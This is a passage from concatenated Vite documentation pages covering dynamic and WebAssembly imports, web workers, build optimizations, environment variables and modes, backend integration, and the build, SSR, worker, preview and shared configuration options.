[`resolve.alias` option](../config/shared-options#resolve-alias)). * The glob matching is done via [`fast-glob`](https://github.com/mrmlnc/fast-glob) - check out its documentation for [supported glob patterns](https://github.com/mrmlnc/fast-glob#pattern-syntax). * You should also be aware that all the arguments in the `import.meta.glob` must be **passed as literals**. You can NOT use variables or expressions in them. Dynamic Import -------------- Similar to [glob import](#glob-import), Vite also supports dynamic import with variables. ts ``` const module = await import(`./dir/${file}.js`) ``` Note that variables only represent file names one level deep. If `file` is `'foo/bar'`, the import would fail. For more advanced usage, you can use the [glob import](#glob-import) feature. WebAssembly ----------- Pre-compiled `.wasm` files can be imported with `?init` - the default export will be an initialization function that returns a Promise of the wasm instance: js ``` import init from './example.wasm?init' init().then((instance) => { instance.exports.test() }) ``` The init function can also take the `imports` object which is passed along to `WebAssembly.instantiate` as its second argument: js ``` init({ imports: { someFunc: () => { /* ... */ }, }, }).then(() => { /* ... */ }) ``` In the production build, `.wasm` files smaller than `assetInlineLimit` will be inlined as base64 strings. Otherwise, they will be copied to the dist directory as an asset and fetched on-demand. **WARNING**[ES Module Integration Proposal for WebAssembly](https://github.com/WebAssembly/esm-integration) is not currently supported. Use [`vite-plugin-wasm`](https://github.com/Menci/vite-plugin-wasm) or other community plugins to handle this. Web Workers ----------- ### Import with Constructors A web worker script can be imported using [`new Worker()`](https://developer.mozilla.org/en-US/docs/Web/API/Worker/Worker) and [`new SharedWorker()`](https://developer.mozilla.org/en-US/docs/Web/API/SharedWorker/SharedWorker). Compared to the worker suffixes, this syntax leans closer to the standards and is the **recommended** way to create workers. ts ``` const worker = new Worker(new URL('./worker.js', import.meta.url)) ``` The worker constructor also accepts options, which can be used to create "module" workers: ts ``` const worker = new Worker(new URL('./worker.js', import.meta.url), { type: 'module', }) ``` ### Import with Query Suffixes A web worker script can be directly imported by appending `?worker` or `?sharedworker` to the import request. The default export will be a custom worker constructor: js ``` import MyWorker from './worker?worker' const worker = new MyWorker() ``` The worker script can also use `import` statements instead of `importScripts()` - note during dev this relies on browser native support and currently only works in Chrome, but for the production build it is compiled away. By default, the worker script will be emitted as a separate chunk in the production build. If you wish to inline the worker as base64 strings, add the `inline` query: js ``` import MyWorker from './worker?worker&inline' ``` If you wish to retrieve the worker as a URL, add the `url` query: js ``` import MyWorker from './worker?worker&url' ``` See [Worker Options](../config/worker-options) for details on configuring the bundling of all workers. Build Optimizations ------------------- > Features listed below are automatically applied as part of the build process and there is no need for explicit configuration unless you want to disable them. > > ### CSS Code Splitting Vite automatically extracts the CSS used by modules in an async chunk and generates a separate file for it. The CSS file is automatically loaded via a `<link>` tag when the associated async chunk is loaded, and the async chunk is guaranteed to only be evaluated after the CSS is loaded to avoid [FOUC](https://en.wikipedia.org/wiki/Flash_of_unstyled_content#:~:text=A%20flash%20of%20unstyled%20content,before%20all%20information%20is%20retrieved.). If you'd rather have all the CSS extracted into a single file, you can disable CSS code splitting by setting [`build.cssCodeSplit`](../config/build-options#build-csscodesplit) to `false`. ### Preload Directives Generation Vite automatically generates `<link rel="modulepreload">` directives for entry chunks and their direct imports in the built HTML. ### Async Chunk Loading Optimization In real world applications, Rollup often generates "common" chunks - code that is shared between two or more other chunks. Combined with dynamic imports, it is quite common to have the following scenario: In the non-optimized scenarios, when async chunk `A` is imported, the browser will have to request and parse `A` before it can figure out that it also needs the common chunk `C`. This results in an extra network roundtrip: ``` Entry ---> A ---> C ``` Vite automatically rewrites code-split dynamic import calls with a preload step so that when `A` is requested, `C` is fetched **in parallel**: ``` Entry ---> (A + C) ``` It is possible for `C` to have further imports, which will result in even more roundtrips in the un-optimized scenario. Vite's optimization will trace all the direct imports to completely eliminate the roundtrips regardless of import depth.
programming_docs
vite Env Variables and Modes Env Variables and Modes ======================= Env Variables ------------- Vite exposes env variables on the special **`import.meta.env`** object. Some built-in variables are available in all cases: * **`import.meta.env.MODE`**: {string} the [mode](#modes) the app is running in. * **`import.meta.env.BASE_URL`**: {string} the base url the app is being served from. This is determined by the [`base` config option](../config/shared-options#base). * **`import.meta.env.PROD`**: {boolean} whether the app is running in production. * **`import.meta.env.DEV`**: {boolean} whether the app is running in development (always the opposite of `import.meta.env.PROD`) * **`import.meta.env.SSR`**: {boolean} whether the app is running in the [server](ssr#conditional-logic). ### Production Replacement During production, these env variables are **statically replaced**. It is therefore necessary to always reference them using the full static string. For example, dynamic key access like `import.meta.env[key]` will not work. It will also replace these strings appearing in JavaScript strings and Vue templates. This should be a rare case, but it can be unintended. You may see errors like `Missing Semicolon` or `Unexpected token` in this case, for example when `"process.env.``NODE_ENV"` is transformed to `""development": "`. There are ways to work around this behavior: * For JavaScript strings, you can break the string up with a Unicode zero-width space, e.g. `'import.meta\u200b.env.MODE'`. * For Vue templates or other HTML that gets compiled into JavaScript strings, you can use the [`<wbr>` tag](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/wbr), e.g. `import.meta.<wbr>env.MODE`. `.env` Files ------------- Vite uses [dotenv](https://github.com/motdotla/dotenv) to load additional environment variables from the following files in your [environment directory](../config/shared-options#envdir): ``` .env # loaded in all cases .env.local # loaded in all cases, ignored by git .env.[mode] # only loaded in specified mode .env.[mode].local # only loaded in specified mode, ignored by git ``` **Env Loading Priorities**An env file for a specific mode (e.g. `.env.production`) will take higher priority than a generic one (e.g. `.env`). In addition, environment variables that already exist when Vite is executed have the highest priority and will not be overwritten by `.env` files. For example, when running `VITE_SOME_KEY=123 vite build`. `.env` files are loaded at the start of Vite. Restart the server after making changes. Loaded env variables are also exposed to your client source code via `import.meta.env` as strings. To prevent accidentally leaking env variables to the client, only variables prefixed with `VITE_` are exposed to your Vite-processed code. e.g. for the following env variables: ``` VITE_SOME_KEY=123 DB_PASSWORD=foobar ``` Only `VITE_SOME_KEY` will be exposed as `import.meta.env.VITE_SOME_KEY` to your client source code, but `DB_PASSWORD` will not. js ``` console.log(import.meta.env.VITE_SOME_KEY) // 123 console.log(import.meta.env.DB_PASSWORD) // undefined ``` Also, Vite uses [dotenv-expand](https://github.com/motdotla/dotenv-expand) to expand variables out of the box. To learn more about the syntax, check out [their docs](https://github.com/motdotla/dotenv-expand#what-rules-does-the-expansion-engine-follow). Note that if you want to use `$` inside your environment value, you have to escape it with `\`. ``` KEY=123 NEW_KEY1=test$foo # test NEW_KEY2=test\$foo # test$foo NEW_KEY3=test$KEY # test123 ``` If you want to customize the env variables prefix, see the [envPrefix](../config/shared-options#envprefix) option. **SECURITY NOTES*** `.env.*.local` files are local-only and can contain sensitive variables. You should add `*.local` to your `.gitignore` to avoid them being checked into git. * Since any variables exposed to your Vite source code will end up in your client bundle, `VITE_*` variables should *not* contain any sensitive information. ### IntelliSense for TypeScript By default, Vite provides type definitions for `import.meta.env` in [`vite/client.d.ts`](https://github.com/vitejs/vite/blob/main/packages/vite/client.d.ts). While you can define more custom env variables in `.env.[mode]` files, you may want to get TypeScript IntelliSense for user-defined env variables that are prefixed with `VITE_`. To achieve this, you can create an `env.d.ts` in `src` directory, then augment `ImportMetaEnv` like this: typescript ``` /// <reference types="vite/client" /> interface ImportMetaEnv { readonly VITE_APP_TITLE: string // more env variables... } interface ImportMeta { readonly env: ImportMetaEnv } ``` If your code relies on types from browser environments such as [DOM](https://github.com/microsoft/TypeScript/blob/main/lib/lib.dom.d.ts) and [WebWorker](https://github.com/microsoft/TypeScript/blob/main/lib/lib.webworker.d.ts), you can update the [lib](https://www.typescriptlang.org/tsconfig#lib) field in `tsconfig.json`. json ``` { "lib": ["WebWorker"] } ``` Modes ----- By default, the dev server (`dev` command) runs in `development` mode and the `build` command runs in `production` mode. This means when running `vite build`, it will load the env variables from `.env.production` if there is one: ``` # .env.production VITE_APP_TITLE=My App ``` In your app, you can render the title using `import.meta.env.VITE_APP_TITLE`. In some cases, you may want to run `vite build` with a different mode to render a different title. You can overwrite the default mode used for a command by passing the `--mode` option flag. For example, if you want to build your app for a staging mode: bash ``` vite build --mode staging ``` And create a `.env.staging` file: ``` # .env.staging VITE_APP_TITLE=My App (staging) ``` As `vite build` runs a production build by default, you can also change this and run a development build by using a different mode and `.env` file configuration: ``` # .env.testing NODE_ENV=development ``` vite Backend Integration Backend Integration =================== **Note**If you want to serve the HTML using a traditional backend (e.g. Rails, Laravel) but use Vite for serving assets, check for existing integrations listed in [Awesome Vite](https://github.com/vitejs/awesome-vite#integrations-with-backends). If you need a custom integration, you can follow the steps in this guide to configure it manually 1. In your Vite config, configure the entry and enable build manifest: js ``` // vite.config.js export default defineConfig({ build: { // generate manifest.json in outDir manifest: true, rollupOptions: { // overwrite default .html entry input: '/path/to/main.js', }, }, }) ``` If you haven't disabled the [module preload polyfill](../config/build-options#build-polyfillmodulepreload), you also need to import the polyfill in your entry js ``` // add the beginning of your app entry import 'vite/modulepreload-polyfill' ``` 2. For development, inject the following in your server's HTML template (substitute `http://localhost:5173` with the local URL Vite is running at): html ``` <!-- if development --> <script type="module" src="http://localhost:5173/@vite/client"></script> <script type="module" src="http://localhost:5173/main.js"></script> ``` In order to properly serve assets, you have two options: * Make sure the server is configured to proxy static assets requests to the Vite server * Set [`server.origin`](../config/server-options#server-origin) so that generated asset URLs will be resolved using the back-end server URL instead of a relative pathThis is needed for assets such as images to load properly. Note if you are using React with `@vitejs/plugin-react`, you'll also need to add this before the above scripts, since the plugin is not able to modify the HTML you are serving: html ``` <script type="module"> import RefreshRuntime from 'http://localhost:5173/@react-refresh' RefreshRuntime.injectIntoGlobalHook(window) window.$RefreshReg$ = () => {} window.$RefreshSig$ = () => (type) => type window.__vite_plugin_react_preamble_installed__ = true </script> ``` 3. For production: after running `vite build`, a `manifest.json` file will be generated alongside other asset files. An example manifest file looks like this: json ``` { "main.js": { "file": "assets/main.4889e940.js", "src": "main.js", "isEntry": true, "dynamicImports": ["views/foo.js"], "css": ["assets/main.b82dbe22.css"], "assets": ["assets/asset.0ab0f9cd.png"] }, "views/foo.js": { "file": "assets/foo.869aea0d.js", "src": "views/foo.js", "isDynamicEntry": true, "imports": ["_shared.83069a53.js"] }, "_shared.83069a53.js": { "file": "assets/shared.83069a53.js" } } ``` * The manifest has a `Record<name, chunk>` structure * For entry or dynamic entry chunks, the key is the relative src path from project root. * For non entry chunks, the key is the base name of the generated file prefixed with `_`. * Chunks will contain information on its static and dynamic imports (both are keys that map to the corresponding chunk in the manifest), and also its corresponding CSS and asset files (if any).You can use this file to render links or preload directives with hashed filenames (note: the syntax here is for explanation only, substitute with your server templating language): html ``` <!-- if production --> <link rel="stylesheet" href="/assets/{{ manifest['main.js'].css }}" /> <script type="module" src="/assets/{{ manifest['main.js'].file }}"></script> ``` vite SSR Options SSR Options =========== ssr.external ------------ * **Type:** `string[]` * **Related:** [SSR Externals](../guide/ssr#ssr-externals) Force externalize dependencies for SSR. ssr.noExternal -------------- * **Type:** `string | RegExp | (string | RegExp)[] | true` * **Related:** [SSR Externals](../guide/ssr#ssr-externals) Prevent listed dependencies from being externalized for SSR. If `true`, no dependencies are externalized. ssr.target ---------- * **Type:** `'node' | 'webworker'` * **Default:** `node` Build target for the SSR server. ssr.format ---------- * **Experimental** * **Type:** `'esm' | 'cjs'` * **Default:** `esm` Build format for the SSR server. Since Vite v3 the SSR build generates ESM by default. `'cjs'` can be selected to generate a CJS build, but it isn't recommended. The option is left marked as experimental to give users more time to update to ESM. CJS builds require complex externalization heuristics that aren't present in the ESM format. vite Build Options Build Options ============= build.target ------------ * **Type:** `string | string[]` * **Default:** `'modules'` * **Related:** [Browser Compatibility](../guide/build#browser-compatibility) Browser compatibility target for the final bundle. The default value is a Vite special value, `'modules'`, which targets browsers with [native ES Modules](https://caniuse.com/es6-module), [native ESM dynamic import](https://caniuse.com/es6-module-dynamic-import), and [`import.meta`](https://caniuse.com/mdn-javascript_operators_import_meta) support. Vite will replace `'modules'` to `['es2020', 'edge88', 'firefox78', 'chrome87', 'safari14']` Another special value is `'esnext'` - which assumes native dynamic imports support and will transpile as little as possible: * If the [`build.minify`](#build-minify) option is `'terser'`, `'esnext'` will be forced down to `'es2021'`. * In other cases, it will perform no transpilation at all. The transform is performed with esbuild and the value should be a valid [esbuild target option](https://esbuild.github.io/api/#target). Custom targets can either be an ES version (e.g. `es2015`), a browser with version (e.g. `chrome58`), or an array of multiple target strings. Note the build will fail if the code contains features that cannot be safely transpiled by esbuild. See [esbuild docs](https://esbuild.github.io/content-types/#javascript) for more details. build.modulePreload ------------------- * **Type:** `boolean | { polyfill?: boolean, resolveDependencies?: ResolveModulePreloadDependenciesFn }` * **Default:** `{ polyfill: true }` By default, a [module preload polyfill](https://guybedford.com/es-module-preloading-integrity#modulepreload-polyfill) is automatically injected. The polyfill is auto injected into the proxy module of each `index.html` entry. If the build is configured to use a non-HTML custom entry via `build.rollupOptions.input`, then it is necessary to manually import the polyfill in your custom entry: js ``` import 'vite/modulepreload-polyfill' ``` Note: the polyfill does **not** apply to [Library Mode](../guide/build#library-mode). If you need to support browsers without native dynamic import, you should probably avoid using it in your library. The polyfill can be disabled using `{ polyfill: false }`. The list of chunks to preload for each dynamic import is computed by Vite. By default, an absolute path including the `base` will be used when loading these dependencies. If the `base` is relative (`''` or `'./'`), `import.meta.url` is used at runtime to avoid absolute paths that depend on the final deployed base. There is experimental support for fine grained control over the dependencies list and their paths using the `resolveDependencies` function. It expects a function of type `ResolveModulePreloadDependenciesFn`: ts ``` type ResolveModulePreloadDependenciesFn = ( url: string, deps: string[], context: { importer: string }, ) => (string | { runtime?: string })[] ``` The `resolveDependencies` function will be called for each dynamic import with a list of the chunks it depends on, and it will also be called for each chunk imported in entry HTML files. A new dependencies array can be returned with these filtered or more dependencies injected, and their paths modified. The `deps` paths are relative to the `build.outDir`. Returning a relative path to the `hostId` for `hostType === 'js'` is allowed, in which case `new URL(dep, import.meta.url)` is used to get an absolute path when injecting this module preload in the HTML head. js ``` modulePreload: { resolveDependencies: (filename, deps, { hostId, hostType }) => { return deps.filter(condition) } } ``` The resolved dependency paths can be further modified using [`experimental.renderBuiltUrl`](../guide/build#advanced-base-options). build.polyfillModulePreload --------------------------- * **Type:** `boolean` * **Default:** `true` * **Deprecated** use `build.modulePreload.polyfill` instead Whether to automatically inject a [module preload polyfill](https://guybedford.com/es-module-preloading-integrity#modulepreload-polyfill). build.outDir ------------ * **Type:** `string` * **Default:** `dist` Specify the output directory (relative to [project root](../guide/index#index-html-and-project-root)). build.assetsDir --------------- * **Type:** `string` * **Default:** `assets` Specify the directory to nest generated assets under (relative to `build.outDir`). build.assetsInlineLimit ----------------------- * **Type:** `number` * **Default:** `4096` (4kb) Imported or referenced assets that are smaller than this threshold will be inlined as base64 URLs to avoid extra http requests. Set to `0` to disable inlining altogether. Git LFS placeholders are automatically excluded from inlining because they do not contain the content of the file they represent. **Note**If you specify `build.lib`, `build.assetsInlineLimit` will be ignored and assets will always be inlined, regardless of file size or being a Git LFS placeholder. build.cssCodeSplit ------------------ * **Type:** `boolean` * **Default:** `true` Enable/disable CSS code splitting. When enabled, CSS imported in async chunks will be inlined into the async chunk itself and inserted when the chunk is loaded. If disabled, all CSS in the entire project will be extracted into a single CSS file. **Note**If you specify `build.lib`, `build.cssCodeSplit` will be `false` as default. build.cssTarget --------------- * **Type:** `string | string[]` * **Default:** the same as [`build.target`](#build-target) This option allows users to set a different browser target for CSS minification from the one used for JavaScript transpilation. It should only be used when you are targeting a non-mainstream browser. One example is Android WeChat WebView, which supports most modern JavaScript features but not the [`#RGBA` hexadecimal color notation in CSS](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value#rgb_colors). In this case, you need to set `build.cssTarget` to `chrome61` to prevent vite from transform `rgba()` colors into `#RGBA` hexadecimal notations. build.sourcemap --------------- * **Type:** `boolean | 'inline' | 'hidden'` * **Default:** `false` Generate production source maps. If `true`, a separate sourcemap file will be created. If `'inline'`, the sourcemap will be appended to the resulting output file as a data URI. `'hidden'` works like `true` except that the corresponding sourcemap comments in the bundled files are suppressed. build.rollupOptions ------------------- * **Type:** [`RollupOptions`](https://rollupjs.org/configuration-options/) Directly customize the underlying Rollup bundle. This is the same as options that can be exported from a Rollup config file and will be merged with Vite's internal Rollup options. See [Rollup options docs](https://rollupjs.org/configuration-options/) for more details. build.commonjsOptions --------------------- * **Type:** [`RollupCommonJSOptions`](https://github.com/rollup/plugins/tree/master/packages/commonjs#options) Options to pass on to [@rollup/plugin-commonjs](https://github.com/rollup/plugins/tree/master/packages/commonjs). build.dynamicImportVarsOptions ------------------------------ * **Type:** [`RollupDynamicImportVarsOptions`](https://github.com/rollup/plugins/tree/master/packages/dynamic-import-vars#options) * **Related:** [Dynamic Import](../guide/features#dynamic-import) Options to pass on to [@rollup/plugin-dynamic-import-vars](https://github.com/rollup/plugins/tree/master/packages/dynamic-import-vars). build.lib --------- * **Type:** `{ entry: string | string[] | { [entryAlias: string]: string }, name?: string, formats?: ('es' | 'cjs' | 'umd' | 'iife')[], fileName?: string | ((format: ModuleFormat, entryName: string) => string) }` * **Related:** [Library Mode](../guide/build#library-mode) Build as a library. `entry` is required since the library cannot use HTML as entry. `name` is the exposed global variable and is required when `formats` includes `'umd'` or `'iife'`. Default `formats` are `['es', 'umd']`, or `['es', 'cjs']`, if multiple entries are used. `fileName` is the name of the package file output, default `fileName` is the name option of package.json, it can also be defined as function taking the `format` and `entryAlias` as arguments. build.manifest -------------- * **Type:** `boolean | string` * **Default:** `false` * **Related:** [Backend Integration](../guide/backend-integration) When set to `true`, the build will also generate a `manifest.json` file that contains a mapping of non-hashed asset filenames to their hashed versions, which can then be used by a server framework to render the correct asset links. When the value is a string, it will be used as the manifest file name. build.ssrManifest ----------------- * **Type:** `boolean | string` * **Default:** `false` * **Related:** [Server-Side Rendering](../guide/ssr) When set to `true`, the build will also generate an SSR manifest for determining style links and asset preload directives in production. When the value is a string, it will be used as the manifest file name. build.ssr --------- * **Type:** `boolean | string` * **Default:** `false` * **Related:** [Server-Side Rendering](../guide/ssr) Produce SSR-oriented build. The value can be a string to directly specify the SSR entry, or `true`, which requires specifying the SSR entry via `rollupOptions.input`. build.minify ------------ * **Type:** `boolean | 'terser' | 'esbuild'` * **Default:** `'esbuild'` Set to `false` to disable minification, or specify the minifier to use. The default is [esbuild](https://github.com/evanw/esbuild) which is 20 ~ 40x faster than terser and only 1 ~ 2% worse compression. [Benchmarks](https://github.com/privatenumber/minification-benchmarks) Note the `build.minify` option does not minify whitespaces when using the `'es'` format in lib mode, as it removes pure annotations and breaks tree-shaking. Terser must be installed when it is set to `'terser'`. sh ``` npm add -D terser ``` build.terserOptions ------------------- * **Type:** `TerserOptions` Additional [minify options](https://terser.org/docs/api-reference#minify-options) to pass on to Terser. build.write ----------- * **Type:** `boolean` * **Default:** `true` Set to `false` to disable writing the bundle to disk. This is mostly used in [programmatic `build()` calls](../guide/api-javascript#build) where further post processing of the bundle is needed before writing to disk. build.emptyOutDir ----------------- * **Type:** `boolean` * **Default:** `true` if `outDir` is inside `root` By default, Vite will empty the `outDir` on build if it is inside project root. It will emit a warning if `outDir` is outside of root to avoid accidentally removing important files. You can explicitly set this option to suppress the warning. This is also available via command line as `--emptyOutDir`. build.copyPublicDir ------------------- * **Experimental** * **Type:** `boolean` * **Default:** `true` By default, Vite will copy files from the `publicDir` into the `outDir` on build. Set to `false` to disable this. build.reportCompressedSize -------------------------- * **Type:** `boolean` * **Default:** `true` Enable/disable gzip-compressed size reporting. Compressing large output files can be slow, so disabling this may increase build performance for large projects. build.chunkSizeWarningLimit --------------------------- * **Type:** `number` * **Default:** `500` Limit for chunk size warnings (in kbs). build.watch ----------- * **Type:** [`WatcherOptions`](https://rollupjs.org/configuration-options/#watch)`| null` * **Default:** `null` Set to `{}` to enable rollup watcher. This is mostly used in cases that involve build-only plugins or integrations processes. **Using Vite on Windows Subsystem for Linux (WSL) 2**There are cases that file system watching does not work with WSL2. See [`server.watch`](server-options#server-watch) for more details.
programming_docs
vite Configuring Vite Configuring Vite ================ When running `vite` from the command line, Vite will automatically try to resolve a config file named `vite.config.js` inside [project root](../guide/index#index-html-and-project-root). The most basic config file looks like this: js ``` // vite.config.js export default { // config options } ``` Note Vite supports using ES modules syntax in the config file even if the project is not using native Node ESM, e.g. `type: "module"` in `package.json`. In this case, the config file is auto pre-processed before load. You can also explicitly specify a config file to use with the `--config` CLI option (resolved relative to `cwd`): bash ``` vite --config my-config.js ``` Config Intellisense ------------------- Since Vite ships with TypeScript typings, you can leverage your IDE's intellisense with jsdoc type hints: js ``` /** @type {import('vite').UserConfig} */ export default { // ... } ``` Alternatively, you can use the `defineConfig` helper which should provide intellisense without the need for jsdoc annotations: js ``` import { defineConfig } from 'vite' export default defineConfig({ // ... }) ``` Vite also directly supports TS config files. You can use `vite.config.ts` with the `defineConfig` helper as well. Conditional Config ------------------ If the config needs to conditionally determine options based on the command (`dev`/`serve` or `build`), the [mode](../guide/env-and-mode) being used, or if it is an SSR build (`ssrBuild`), it can export a function instead: js ``` export default defineConfig(({ command, mode, ssrBuild }) => { if (command === 'serve') { return { // dev specific config } } else { // command === 'build' return { // build specific config } } }) ``` It is important to note that in Vite's API the `command` value is `serve` during dev (in the cli `vite`, `vite dev`, and `vite serve` are aliases), and `build` when building for production (`vite build`). `ssrBuild` is experimental. It is only available during build instead of a more general `ssr` flag because, during dev, the config is shared by the single server handling SSR and non-SSR requests. The value could be `undefined` for tools that don't have separate commands for the browser and SSR build, so use explicit comparison against `true` and `false`. Async Config ------------ If the config needs to call async function, it can export a async function instead: js ``` export default defineConfig(async ({ command, mode }) => { const data = await asyncFunction() return { // vite config } }) ``` Using Environment Variables in Config ------------------------------------- Environmental Variables can be obtained from `process.env` as usual. Note that Vite doesn't load `.env` files by default as the files to load can only be determined after evaluating the Vite config, for example, the `root` and `envDir` options affect the loading behaviour. However, you can use the exported `loadEnv` helper to load the specific `.env` file if needed. js ``` import { defineConfig, loadEnv } from 'vite' export default defineConfig(({ command, mode }) => { // Load env file based on `mode` in the current working directory. // Set the third parameter to '' to load all env regardless of the `VITE_` prefix. const env = loadEnv(mode, process.cwd(), '') return { // vite config define: { __APP_ENV__: env.APP_ENV, }, } }) ``` vite Worker Options Worker Options ============== Options related to Web Workers. worker.format ------------- * **Type:** `'es' | 'iife'` * **Default:** `iife` Output format for worker bundle. worker.plugins -------------- * **Type:** [`(Plugin | Plugin[])[]`](shared-options#plugins) Vite plugins that apply to worker bundle. Note that [config.plugins](shared-options#plugins) only applies to workers in dev, it should be configured here instead for build. worker.rollupOptions -------------------- * **Type:** [`RollupOptions`](https://rollupjs.org/configuration-options/) Rollup options to build worker bundle. vite Dep Optimization Options Dep Optimization Options ======================== * **Related:** [Dependency Pre-Bundling](../guide/dep-pre-bundling) optimizeDeps.entries -------------------- * **Type:** `string | string[]` By default, Vite will crawl all your `.html` files to detect dependencies that need to be pre-bundled (ignoring `node_modules`, `build.outDir`, `__tests__` and `coverage`). If `build.rollupOptions.input` is specified, Vite will crawl those entry points instead. If neither of these fit your needs, you can specify custom entries using this option - the value should be a [fast-glob pattern](https://github.com/mrmlnc/fast-glob#basic-syntax) or array of patterns that are relative from Vite project root. This will overwrite default entries inference. Only `node_modules` and `build.outDir` folders will be ignored by default when `optimizeDeps.entries` is explicitly defined. If other folders need to be ignored, you can use an ignore pattern as part of the entries list, marked with an initial `!`. optimizeDeps.exclude -------------------- * **Type:** `string[]` Dependencies to exclude from pre-bundling. **CommonJS**CommonJS dependencies should not be excluded from optimization. If an ESM dependency is excluded from optimization, but has a nested CommonJS dependency, the CommonJS dependency should be added to `optimizeDeps.include`. Example: js ``` export default defineConfig({ optimizeDeps: { include: ['esm-dep > cjs-dep'], }, }) ``` optimizeDeps.include -------------------- * **Type:** `string[]` By default, linked packages not inside `node_modules` are not pre-bundled. Use this option to force a linked package to be pre-bundled. optimizeDeps.esbuildOptions --------------------------- * **Type:** [`EsbuildBuildOptions`](https://esbuild.github.io/api/#simple-options) Options to pass to esbuild during the dep scanning and optimization. Certain options are omitted since changing them would not be compatible with Vite's dep optimization. * `external` is also omitted, use Vite's `optimizeDeps.exclude` option * `plugins` are merged with Vite's dep plugin optimizeDeps.force ------------------ * **Type:** `boolean` Set to `true` to force dependency pre-bundling, ignoring previously cached optimized dependencies. vite Preview Options Preview Options =============== preview.host ------------ * **Type:** `string | boolean` * **Default:** [`server.host`](server-options#server-host) Specify which IP addresses the server should listen on. Set this to `0.0.0.0` or `true` to listen on all addresses, including LAN and public addresses. This can be set via the CLI using `--host 0.0.0.0` or `--host`. **NOTE**There are cases when other servers might respond instead of Vite. See [`server.host`](server-options#server-host) for more details. preview.port ------------ * **Type:** `number` * **Default:** `4173` Specify server port. Note if the port is already being used, Vite will automatically try the next available port so this may not be the actual port the server ends up listening on. **Example:** js ``` export default defineConfig({ server: { port: 3030, }, preview: { port: 8080, }, }) ``` preview.strictPort ------------------ * **Type:** `boolean` * **Default:** [`server.strictPort`](server-options#server-strictport) Set to `true` to exit if port is already in use, instead of automatically trying the next available port. preview.https ------------- * **Type:** `boolean | https.ServerOptions` * **Default:** [`server.https`](server-options#server-https) Enable TLS + HTTP/2. Note this downgrades to TLS only when the [`server.proxy` option](server-options#server-proxy) is also used. The value can also be an [options object](https://nodejs.org/api/https.html#https_https_createserver_options_requestlistener) passed to `https.createServer()`. preview.open ------------ * **Type:** `boolean | string` * **Default:** [`server.open`](server-options#server-open) Automatically open the app in the browser on server start. When the value is a string, it will be used as the URL's pathname. If you want to open the server in a specific browser you like, you can set the env `process.env.BROWSER` (e.g. `firefox`). You can also set `process.env.BROWSER_ARGS` to pass additional arguments (e.g. `--incognito`). `BROWSER` and `BROWSER_ARGS` are also special environment variables you can set in the `.env` file to configure it. See [the `open` package](https://github.com/sindresorhus/open#app) for more details. preview.proxy ------------- * **Type:** `Record<string, string | ProxyOptions>` * **Default:** [`server.proxy`](server-options#server-proxy) Configure custom proxy rules for the preview server. Expects an object of `{ key: options }` pairs. If the key starts with `^`, it will be interpreted as a `RegExp`. The `configure` option can be used to access the proxy instance. Uses [`http-proxy`](https://github.com/http-party/node-http-proxy). Full options [here](https://github.com/http-party/node-http-proxy#options). preview.cors ------------ * **Type:** `boolean | CorsOptions` * **Default:** [`server.cors`](server-options#server-cors) Configure CORS for the preview server. This is enabled by default and allows any origin. Pass an [options object](https://github.com/expressjs/cors#configuration-options) to fine tune the behavior or `false` to disable. preview.headers --------------- * **Type:** `OutgoingHttpHeaders` Specify server response headers. vite Shared Options Shared Options ============== root ---- * **Type:** `string` * **Default:** `process.cwd()` Project root directory (where `index.html` is located). Can be an absolute path, or a path relative to the current working directory. See [Project Root](../guide/index#index-html-and-project-root) for more details. base ---- * **Type:** `string` * **Default:** `/` Base public path when served in development or production. Valid values include: * Absolute URL pathname, e.g. `/foo/` * Full URL, e.g. `https://foo.com/` * Empty string or `./` (for embedded deployment) See [Public Base Path](../guide/build#public-base-path) for more details. mode ---- * **Type:** `string` * **Default:** `'development'` for serve, `'production'` for build Specifying this in config will override the default mode for **both serve and build**. This value can also be overridden via the command line `--mode` option. See [Env Variables and Modes](../guide/env-and-mode) for more details. define ------ * **Type:** `Record<string, any>` Define global constant replacements. Entries will be defined as globals during dev and statically replaced during build. * String values will be used as raw expressions, so if defining a string constant, **it needs to be explicitly quoted** (e.g. with `JSON.stringify`). * To be consistent with [esbuild behavior](https://esbuild.github.io/api/#define), expressions must either be a JSON object (null, boolean, number, string, array, or object) or a single identifier. * Replacements are performed only when the match isn't surrounded by other letters, numbers, `_` or `$`. **WARNING**Because it's implemented as straightforward text replacements without any syntax analysis, we recommend using `define` for CONSTANTS only. For example, `process.env.FOO` and `__APP_VERSION__` are good fits. But `process` or `global` should not be put into this option. Variables can be shimmed or polyfilled instead. **NOTE**For TypeScript users, make sure to add the type declarations in the `env.d.ts` or `vite-env.d.ts` file to get type checks and Intellisense. Example: ts ``` // vite-env.d.ts declare const __APP_VERSION__: string ``` **NOTE**Since dev and build implement `define` differently, we should avoid some use cases to avoid inconsistency. Example: js ``` const obj = { __NAME__, // Don't define object shorthand property names __KEY__: value, // Don't define object key } ``` plugins ------- * **Type:** `(Plugin | Plugin[] | Promise<Plugin | Plugin[]>)[]` Array of plugins to use. Falsy plugins are ignored and arrays of plugins are flattened. If a promise is returned, it would be resolved before running. See [Plugin API](../guide/api-plugin) for more details on Vite plugins. publicDir --------- * **Type:** `string | false` * **Default:** `"public"` Directory to serve as plain static assets. Files in this directory are served at `/` during dev and copied to the root of `outDir` during build, and are always served or copied as-is without transform. The value can be either an absolute file system path or a path relative to project root. Defining `publicDir` as `false` disables this feature. See [The `public` Directory](../guide/assets#the-public-directory) for more details. cacheDir -------- * **Type:** `string` * **Default:** `"node_modules/.vite"` Directory to save cache files. Files in this directory are pre-bundled deps or some other cache files generated by vite, which can improve the performance. You can use `--force` flag or manually delete the directory to regenerate the cache files. The value can be either an absolute file system path or a path relative to project root. Default to `.vite` when no package.json is detected. resolve.alias ------------- * **Type:**`Record<string, string> | Array<{ find: string | RegExp, replacement: string, customResolver?: ResolverFunction | ResolverObject }>` Will be passed to `@rollup/plugin-alias` as its [entries option](https://github.com/rollup/plugins/tree/master/packages/alias#entries). Can either be an object, or an array of `{ find, replacement, customResolver }` pairs. When aliasing to file system paths, always use absolute paths. Relative alias values will be used as-is and will not be resolved into file system paths. More advanced custom resolution can be achieved through [plugins](../guide/api-plugin). **Using with SSR**If you have configured aliases for [SSR externalized dependencies](../guide/ssr#ssr-externals), you may want to alias the actual `node_modules` packages. Both [Yarn](https://classic.yarnpkg.com/en/docs/cli/add/#toc-yarn-add-alias) and [pnpm](https://pnpm.js.org/en/aliases) support aliasing via the `npm:` prefix. resolve.dedupe -------------- * **Type:** `string[]` If you have duplicated copies of the same dependency in your app (likely due to hoisting or linked packages in monorepos), use this option to force Vite to always 